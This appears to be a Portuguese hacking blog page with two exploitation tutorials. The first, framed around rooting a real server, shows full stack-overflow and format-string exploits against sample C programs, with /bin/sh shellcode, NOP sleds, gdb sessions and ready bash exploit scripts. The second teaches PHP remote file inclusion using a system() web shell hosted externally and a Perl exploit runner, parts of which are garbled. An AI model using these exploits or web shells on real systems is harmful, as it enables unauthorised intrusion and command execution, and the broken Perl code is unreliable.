Posts com Tag ‘shellcode’

Este texto foi escrito para newbies, então se você for elite ou se considera um, aconselho a não perder seu tempo lendo!

----[ ENTENDENDO ÀS NECESSIDADES ]----

    Não presisar de um exploit para conseguir root em um sistema! Isso soa bastante, hacker não é? Mais isso não precisa ser uma questão de luxo, mas também
pode ser uma necessídade e até mesmo a única solução. Vamos ver um exemplo não real:
    - Você consegue achar um "importante" servidor vulnerável a alguma falha de CGI ou qualquer outra coisa que permita que você execute comandos. Você tenta baixar um backdoor para se conectar por telnet e não consegue pois não tem permição para executar os programa que poderiam ser usados para download(wget, lynx, GET, etc). Mais você ve que o sistema possúi um programa de mail bem antigo que esta com uma falha de stack overflow das mais simples. Você poderia tentar escrever um exploit somente o comando "echo"(imprimir em tela, igual ao “printf”) mais percebe que depois de pronto você não pode compila-lo! E então o que você faz? Esquece esse servidor e vai durmir? Negativo! Você esplora essa falha via linha de comando. Esse é o objetivo deste texto.

----[ PRIMEIRO PROGRAMA BUGADO (STACK OVERFLOW) ]----

    Veja o seguinte programa vulnerável:

==========[ stack_vuln.c ]==========
/*
    Este é um Simples programa vulnerável a stack overflow, porem programas conhecidos também tem este tipo de parâmetros. Portanto, são vulneráveis do mesmo jeito. E deverá ser exploitado via linha de
    comando ou shellscript!
    */

#include <stdio.h>

int main(int argc, char *argv[], char *env[]) {
    char buffer[256];

    if (argc < 2) {
        printf ("Use: %s <frase>\n\n", argv[0]);
        exit(0);
    }

    strcpy(buffer, argv[1]);

    printf ("Voce digitou: %s\n", buffer);
}
===================================

se você sabe programar em C e sabe construir exploits para Stack
Overflow deve saber muito bem que esse é o exemplo mais simples de exploitação de pilha. Mais nós precisamos de alguns dados para podermos exploita-lo. O primeiro é aonde exatamente o bufer estoura e o segundo é aonde nós podemos inserir dados na memória para pegarmos o endereço! Para saber aonde o buffer estoura basta ir testando:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gcc stack_vuln.c -o stack_vuln
newbie@localhost:~$ gdb stack_vuln
...
(gdb) r `perl -e 'print "A"x270'`
Starting program: ./stack_vuln `perl -e 'print "A"x270'`
Voce digitou: AAAAAAAAAAAAA...

Program received signal SIGSEGV, Segmentation fault.
0x40004141 in _dl_dst_substitute () from /lib/ld-linux.so.2
(gdb) r `perl -e 'print "A"x272'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: ./stack_vuln `perl -e 'print "A"x272'`
Voce digitou: AAAAAAAAAAAAAA...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `perl -e 'print "A"x268 . "\x78\x56\x34\x12"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: ./stack_vuln `perl -e 'print "A"x268 . "\x78\x56\x34\x12"'`
Voce digitou: AAAAAAAAAAAAAAAA...

Program received signal SIGSEGV, Segmentation fault.
0x12345678 in ?? ()
(gdb)
--- --- --- --- --- --- --- --- --- ---

Bem. Agora nós já sabemos que nós teremos que colocar o novo endereço de retorno exatamente depois de 268 bytes do argumento. Agora nós precisamos de achar algum lugar da memória para colocar-mos nossos nops e nosso shellcode! Já que nós iremos colocar 268 A's no argumento, poderiamos em vez de colocar isso colocar nosso buffer com os nops e o shellcode.

    Usaremos o seguinte shellcode de execve /bin/sh:
---
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80\xe8\xdc\xff\xff\xff/bin/sh
---

    Agora precisamos de encher os 268 bytes que temos com esse shellcode e o restante com os nops. Para isso vamos calcula o tamanho desse sc:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ perl -e 'print length("\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31
\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh") . "\n"'
45
newbie@localhost:~$
--- --- --- --- --- --- --- --- --- ---

    Pronto! Temos 45 bytes para o shellcode e teremos que colocar 223(268 - 45)
NOPs como resto. Então nosso parametro deve ficar algo como:

0                                      223                   268    272
 -------------------------------------------------------------------
| NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN | SSSSSSSSSSSSSSSSSS | RRRR |
 -------------------------------------------------------------------

    Onde:
    N = NOP (0x90)
    S = nosso shellcode
    R = Novo Endereco Retorno que temos que achar ainda

    Repare que o endereço de retorno é o mesmo endereço de argv[1]. Então vamos fazer ele apontar para alguns dos nops simplesmente achando aonde estão os nops na memória:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gdb stack_vuln
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
(gdb) br main
Breakpoint 1 at 0x80483cd
(gdb) r `perl -e 'print "\x90"x223 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8
\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x78\x56\x34\x12"'`
Starting program: ./stack_vuln `perl -e 'print "\x90"x223 . "\xeb\x1f\x5e\x89
\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" .
"\x78\x56\x34\x12"'`

Breakpoint 1, 0x080483cd in main ()
(gdb) x/400x %esp
A parse error in expression, near `%esp'.
(gdb) x/400x $esp
0xbffff1f0:     0x40015700      0x40014d80      0x4001512c      0x08048215
0xbffff200:     0xbffff2b0      0x40006b6f      0x08048215      0x0177ff8e
0xbffff210:     0x08048188      0xbffff260      0x400150e0      0x00000001
.....
0xbffff4b0:     0x6e6c7576      0x90909000      0x90909090      0x90909090
0xbffff4c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff500:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff510:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff520:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff530:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff540:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff550:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff560:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff570:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff580:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff590:     0x90909090      0x895e1feb      0xc0310876      0x89074688
.....
0xbffff5b0:     0xcd40d889      0xffdce880      0x622fffff      0x732f6e69
0xbffff5c0:     0xfff68068      0x504300bf      0x5f53554c      0x4c434e49
0xbffff5d0:     0x5f454455      0x48544150
(gdb)
--- --- --- --- --- --- --- --- --- ---

Achamos aonde nossos nops ficaram + ou - de 0xbfffedb0 até 0xbfffee80. Então basta colocar-mos o programa para saltar para alguma dessas posições de memória para ele ir executando os nops até chegar ao nosso shellcode. Aconselho a colocar bem no meio dos nops. Vejamos se funciona colocando ele para saltar para a posição 0xbffff550:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~/tecnicas/expl_ln_cmd$ ./stack_vuln `perl -e 'print "\x90"x223 .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d
\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff
\xff/bin/sh" . "\x50\xf5\xff\xbf"'`
Voce digitou: ë^1ÀFF
                    °
                     óV
                       Í1ÛØ@ÍèÜÿÿÿ/bin/shPîÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---

Ai esta nossa exploração via linha de comando! Repare que coloque o
endereço de retorno de tráz para frente. Isso porque esse esquema todo esta em uma pilha(veja meu texto sobre stack overflow)!
Conseguimos isso porque colocamos nosso buffer da seguinte maneira:

   0                                       223                  268    272
    -------------------------------------------------------------------
   | NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN | SSSSSSSSSSSSSSSSSS | RRRR |
    -------------------------------------------------------------------

    Fazendo RRRR apontar para dentro dos NOPs(0x90)!

----[ Escrevendo o exploit em shell script ]----

    Não é meu objetivo ensinar shell script neste texto, então segue o código para esse programa anterior em bash script:

==========[ stack_xpl.sh ]==========
#!/bin/sh

##########################################################
# Exploit para programa vulneravel a stack overflow      #
# [ chuck_newbie@hotmail.com ]                           #
##########################################################

# O novo endereco de retonro
export NEW_RET=`printf "\x50\xf5\xff\xbf"`

# Shellcode execve -> /bin/sh
export SHELLCODE=`printf "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"\
"\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"\
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"`

# Nossos 223 NOPs
export NOP=`printf "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90"`

# Agora executamos o programa vulnerável com o argumento maligno
./stack_vuln "$NOP$SHELLCODE$NEW_RET"

========================================

    Vamos testar:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ chmod +x stack_xpl.sh
newbie@localhost:~$ ./stack_xpl.sh
Voce digitou: ë^1ÀFF
                    °
                     óV
                       Í1ÛØ@ÍèÜÿÿÿ/bin/shPõÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---

Como podemos ver, funciona perfeitamente. Não conheco nenhuma linguagem que não seja possível escrever shellcodes. Se com ela é possível criar uma variável e executar um programa, também é possível escrever exploits!

----[ SEGUNDO PROGRAMA BUGADO (FORMAT STRING) ]----

    Vamos agora ao nosso segundo programa vulnerável a overflow:
==========[ fs_vuln.c ]==========
/*
    Simples programa vulnerável a stack overflow
    com format string.
    Tutorial de exploitação por bash script
*/

#include <stdio.h>

int main(int argc, char *argv[]) {
    char buffer[16];

    if (argc < 2) {
        printf ("Use: %s <string>\n", argv[0]);
        exit(0);
    }

    if (strlen(argv[1]) > 15) {
        printf ("Tentativa de overflow detectada!\nLOGGED!!\n");
        exit(-1);
    }

    sprintf (buffer, argv[1]);
    printf ("Você digitou: %s\n", buffer);
}

=================================

    Bem! Temos dois problemas: O primeiro é que não é possível estourar o buffer passando um paramentro maior do que 15 bytes. E o segundo é que se nós conseguissemos passar não caberia nem nosso shellcode muito menos nossos NOPs e nosso enderço de retorno.

Mais se você perceber, verá que este programa está vulnerável a format
string(veja o texto) então com isso nós já podemos estourar o buffer. Veja:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gcc fs_vuln.c -o fs_vuln
newbie@localhost:~$ ulimit -c 1234567
newbie@localhost:~$ ./fs_vuln %25cDCBA
Você digitou:                         øDCBA
Falha de segmentação (core dumped)
newbie@localhost:~$ gdb -c core
.....
Core was generated by `./fs_vuln %25cDCBA'.
Program terminated with signal 11, Segmentation fault.
#0  0x40040042 in ?? ()
(gdb) q
newbie@localhost:~$ ./fs_vuln %28cDCBA
Você digitou:                            øDCBA
Falha de segmentação (core dumped)
newbie@localhost:~$ gdb -c core
.....
Core was generated by `./fs_vuln %28cDCBA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41424344 in ?? ()
(gdb)
--- --- --- --- --- --- --- --- --- ---

    Com isso nós já sabemos que nosso buffer estoura quando colocamos a string %28c no inicio do parametro, tendo que colocar o novo endereco de retorno ABCD = 0x41424344) logo após! No meu texto sobre Stack Overflow(pode ser encontrado na page do WHCT), eu expliquei como se faz para explorar um buffer pequeno, sujiro que se você não sabe como pegue ele e dê uma boa lida. Mais só pra resumir: Não é necessário que o nosso exploit e nossos NOPs estejam no
argumento do programa vulnerável, basta que ele esteja em alguma parte da memória e então é só fazer-mos o programa vulnerável apontar para ele. Esse lugar da memória geralmente é aonde estão as variáveis de ambiente. Para ficar mais claro veja o seguinte esquema:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ export BUFFER=`perl -e 'print "A"x200'`
newbie@localhost:~$ gdb ./fs_vuln
.....
(gdb) br main
Breakpoint 1 at 0x80483fa
(gdb) r lixo
Starting program: ./fs_vuln lixo

Breakpoint 1, 0x080483fa in main ()
(gdb) x/700x $esp
0xbffff458:     0xbffff478      0x40041936      0x00000002      0xbffff4a4
0xbffff468:     0xbffff4b0      0x40014d80      0x00000002      0x08048330
0xbffff478:     0x00000000      0x08048351      0x080483f4      0x00000002
.....
0xbffffdb8:     0x46554200      0x3d524546      0x41414141      0x41414141
0xbffffdc8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdd8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffde8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdf8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe08:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe18:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe28:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe38:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe48:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe58:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe68:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe78:     0x41414141      0x41414141      0x41414141      0x41414141
.....
0xbfffff18:     0x454d4f48      0x73752f3d      0x696c2f72      0x616a2f62
0xbfffff28:     0x4c006176      0x3d474e41      0x425f7470      0x4f480052
0xbfffff38:     0x2f3d454d      0x656d6f68      0x77656e2f      0x00656962
(gdb)
--- --- --- --- --- --- --- --- --- ---

    Como podemos notar, nós podemos colocar dados na memória para nosso programa
acessar! Então vamos fazer o mesmo que o esquema anterior:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ export EGG=`perl -e 'print "\x90"x150 . \
> "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" . \
> "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" . \
> "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
newbie@localhost:~$
--- --- --- --- --- --- --- --- --- ---

    Com isso nós criamos uma variável de ambiente com 150 NOPs seguido do nosso shellcode. Agora vamos ver aonde ele se encontra na memória de acesso ao nosso programa:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb fs_vuln
.....
(gdb) br main
Breakpoint 1 at 0x80483fa
(gdb) r
Starting program: /home/newbie/tecnicas/expl_ln_cmd/fs_vuln

Breakpoint 1, 0x080483fa in main ()
(gdb) x/400x $esp
0xbffff460:     0x080484c0      0xbffff4c4      0xbffff478      0x0804849c
0xbffff470:     0x4015760c      0x40014900      0xbffff498      0x40041936
0xbffff480:     0x00000001      0xbffff4c4      0xbffff4cc      0x40014d80
.....
0xbffff870:     0x7572743d      0x47450065      0x90903d47      0x90909090
0xbffff880:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff890:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff900:     0x90909090      0x90909090      0x90909090      0x90909090
.....
0xbffffa70:     0x7a6c2e2a      0x31303d68      0x3a31333b      0x70722e2a
0xbffffa80:     0x31303d6d      0x3a31333b      0x61742e2a      0x31303d72
0xbffffa90:     0x3a31333b      0x61742e2a      0x31303d7a      0x3a31333b
(gdb) q
The program is running.  Exit anyway? (y or n) y
--- --- --- --- --- --- --- --- --- ---

    Achamos os nossos NOPs. Agora vamos executar nosso programa vulnerável de uma modo que ele salte para dentro dos NOPs e vá executando até chegar ao shellcode, para isso escolhi o endereco 0xbffff8b0. Veja:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ ./fs_vuln %28c`perl -e 'print "\xb0\xf8\xff\xbf"'`
Você digitou:                            h°øÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---
            Exploitação executada com sucesso! :)

----[ Escrevendo o exploit em shell script ]----

Agora segue o código do exploit para o segundo programa vulnerável a forma string escrito em shell script:

==========[ fs_xpl.sh ]==========
#!/bin/sh

##########################################################
# Exploit para programa vulneravel a format string       #
##########################################################

# O novo endereco de retonro que apontará para os nops
export NEW_RET=`printf "\xb0\xf8\xff\xbf"`

# Shellcode execve -> /bin/sh
export SHELLCODE=`printf \
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"\x07\x89\x46\x0c\xb0"\
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"\xdb\x89\xd8"\
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"`

# Aqui temos 150 NOPs(chataum conta isso)
export NOP=`printf \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"`

# Agora executamos o programa vulnerável com o argumento maligno
./fs_vuln "%28c$NEW_RET"

=================================

    Vamos aos textes:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ chmod +x fs_xpl.sh
newbie@localhost:~$ ./fs_xpl.sh
Você digitou:                            x°øÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---

    Como podemos perceber, não existe segredo algum amigo. Agora é só questão de pratica!

                       ----[ CONCLUINDO ]----

Bem amigo, é possível fazer qualquer coisa se correr atraz. Digo mais uma vez que saber fuçar com shell script não é questão de luxuria mais sim uma necessidade pois o verdadeiro fuçador não constroi coisas pra facilitar, mais trabalha com o que tem em mãos! Existem inumeros metodos a mais de exploitação, talvez até algum que seja mais fácil do que em C ou outra linguagem pois com shell script você interage diretamente com os programas e talz, principalmente falhas em fucões que manipulam arquivos como as que criam arquivos temporários e
essas coisas! Bastando apenas saber armazenar a resposta de um comando, filtrar, passar o resultado para outro comando e por ai vai!

Veja como é possível explorar qualquer programa por linha de comando:
==========[ xtra_vuln.c ]==========
#include <stdio.h>

int main() {
    char nome[20];

    printf("Qual é o seu nome: ");   
    gets(nome);
    printf("Olá %s!!\n\n", nome);
}
===================================

    Agora veja como podemos explora-lo:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gcc xtra_vuln.c -o xtra_vuln
newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln
Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD
Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!!

Falha de segmentação (core dumped)
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core
.....
Program terminated with signal 11, Segmentation fault.
#0  0x40004443 in ?? ()
(gdb) q
newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln
Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD
Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!!

Falha de segmentação (core dumped)
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core
.....
Program terminated with signal 11, Segmentation fault.
#0  0x44434241 in ?? ()
--- --- --- --- --- --- --- --- --- ---

    já sabemos agora aonde que sobrescreveremos o endereço de retorno! Agora basta fazer o exploit usando o seguinte esquema:
--- ------ --- --- --- --- --- --- ---
newbie@localhost:~$ echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD\
> `perl -e 'print "\x78\x56\x34\x12"'` > buffer.bof
newbie@localhost:~$ ./xtra_vuln < buffer.bof
Qual é o seu nome: Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCDxV4!!

Falha de segmentação (core dumped)
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core
....
Program terminated with signal 11, Segmentation fault.
#0  0x12345678 in ?? ()

(gdb)
--- --- --- --- --- --- --- --- --- ---
 ----[ Fontes ]----
    0ut0fBound            .::. http://0ut0fbound.ath.cx
    Security Focus        .::. http://www.securityfocus.com.br
    Google                .::. http://www.google.com.br

Obs.: Si  alguem tiver lido este tutorial e si enteressou neste assunto… Eu tenho um livro falando sobre isso. Quem quiser, basta mandar um email para mim

Como que acontece a inclusão de arquivos remotos (RFI)?

A função include() do PHP é usada para incluir alguma coisa.
Se essa função não for usada com segurança, alguém mal-intencionado
poderá explorar esta falha de segurança. Assim podendo desfigurar seu site ou em alguns casos só invadir seu site por invadir. incluindo scripts PHP(php injection) e executar comandos arbitrários no sistema.

Exemplo de página vulnerável:

include($_GET['page']);

Irá incluir a pagina especificada pelo programador, que será identificada via browser(na url), deixando o site vulnerável, pois qualquer um poderá mudar o nome da pagina via GET.

Ex:   http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/imagem.gif

Nesse caso, o arquivo imagem.gif será incluido na página, mas… o que acontece
se ao invés de incluirmos imagens, passarmos a injetar um script PHP do tipo:

system($_GET['cmd']);

http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/script.txt&cmd=dir

A função system() executa comandos no sistema, no exemplo acima, o comando
executado será ‘dir’, e a resposta será algo parecido com:

O volume na unidade C não tem nome.
O número de série do volume é ABCD-EFGHPasta de C:\apache\htdocs 29/02/2008 22:43

29/02/2008 22:43
29/02/2008 22:43 31 vuln.php

Um exploit simples para essa vulnerabilidade pode ser construído usando a seguinte
estrutura:- (Site) + (Página vulnerável + variavel vulnerável) + (Link para o script malicioso) + (Comando Unix/Windows dependendo do sistema operacional)

Exemplo:
http://www.site.com/vuln.php?inc=http://www.host-files.com/script.txt&cmd=dirSite: http://www.site.com/

Página vulnerável + variavel vulnerável: vuln.php?inc=
Script malicioso: http://www.host-files.com/script.txt

Comando: dir
Obs: o &cmd= em &cmd=dir pode variar dependendo do ’script malicioso’.

Exemplos:
—————————————————————————-

system($_GET['cmd']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&cmd=qualquer coisa
—————————————————————————-

system($_GET['exec']);
http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&exec=qualquer coisa
—————————————————————————-

system($_GET['comando']);

http://www.site.com/página-vulnerável.php?variavel=http://algum-site.com/script.txt&comando=qualquer coisa

OBS: É obvio que a pagina a ser injetada tem que estar em algum lugar que você colocar, e no servidor de hospedagem que você quiser.

—————————————————————————-

Vamos construir o exploit para explorar

Se site, link para o script malicioso, comando, arquivo e variável vulnerável foram passadas, então continua.
Caso contrário, informe ao usuário sobre o erro.

#!/usr/bin/perl

if(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n”;
print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;
exit;
} ($site, $page, $script, $comando) = @ARGV;

Os parâmetros necessários são passados como ‘argumentos’.
Se o total de argumentos passados para a execução do script for diferente de ‘4′ então mostre a mensagem de erro.
Vamos padronizar o script malicioso como sendo:

system($_GET['cmd']);

então quando formos iniciar a requisição, colocaremos:

$argv_script = "&cmd=";

portanto, a página que devemos ‘visitar’ será

$pagina = $site.$page.$script.$argv_script.$comando;

Exemplo:

http://www.site.com/vulneravel.php?page=http://www.host.com/script-malicioso.txt&cmd=dir

Com o módulo LWP::Simples, podemos usar a função get() que baixa uma página
e retorna para uma variável qualquer.

$resposta = get($pagina);

e mostramos a saída do servidor web,

print $resposta;

O corpo do exploit está concluído, o exploit é:

#!/usr/bin/perlif(@ARGV != 4) {
print "Modo de usar: perl exploit.txt \n”;
print “Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dir\n”;
exit;
}($site, $page, $script, $comando) = @ARGV;
$argv_script = “&cmd=”;
$pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina);
print $resposta;
A array @ARGV contém os argumentos passados para o script.
($site, $page, $script, $comando) = @ARGV;

seria o mesmo que

$site = $ARGV[0];
$page = $ARGV[1];
$script = $ARGV[2];
$comando = $ARGV[3];

Melhorias estéticas podem ser feitas, como por exemplo o uso de .

#!/usr/bin/perl
use LWP::Simples; site:
print "Host (Ex.: http://www.site.com): ";
$site = ;
if($site eq “”){
goto site;
}
if($site =~ /http:\/\//){
print ‘Nao coloque http:// !’.”\n”;
goto site;
}
pagina:
print “Pag. vulneravel (Ex.: Colt7r/vulneravel.php?page=): “;
$page = ;
if($site eq “”){
goto pagina;
}
script:
print “Script (Ex.: http://www.host-files.com/script.txt): “;
$script = ;
if($script eq “”){
goto script;
}
if($script !~ /http:\/\//){
goto script;
}
print “Variavel para executar comandos (script)\n”;
print ‘Ex.: cmd = system($_GET[\'cmd\']): ‘;
$argv_script = ;
if(!$argv_script){
$argv_script = “cmd”;
}
$argv_script = ‘&’.$argv_script.’=';
comando:
print “Comando: “;
$comando = ;
$pagina = $site.$page.$script.$argv_script.$comando;
$resposta = get($pagina);
print $resposta;
goto comando;

Esse é um exploit genérico, que serve apenas para demonstrar como explorar
a vulnerabilidade. Durante o desenvolvimento de um exploit para um software
específico, é necessário o uso de expressões regulares e outros.

Méritos: Colt7r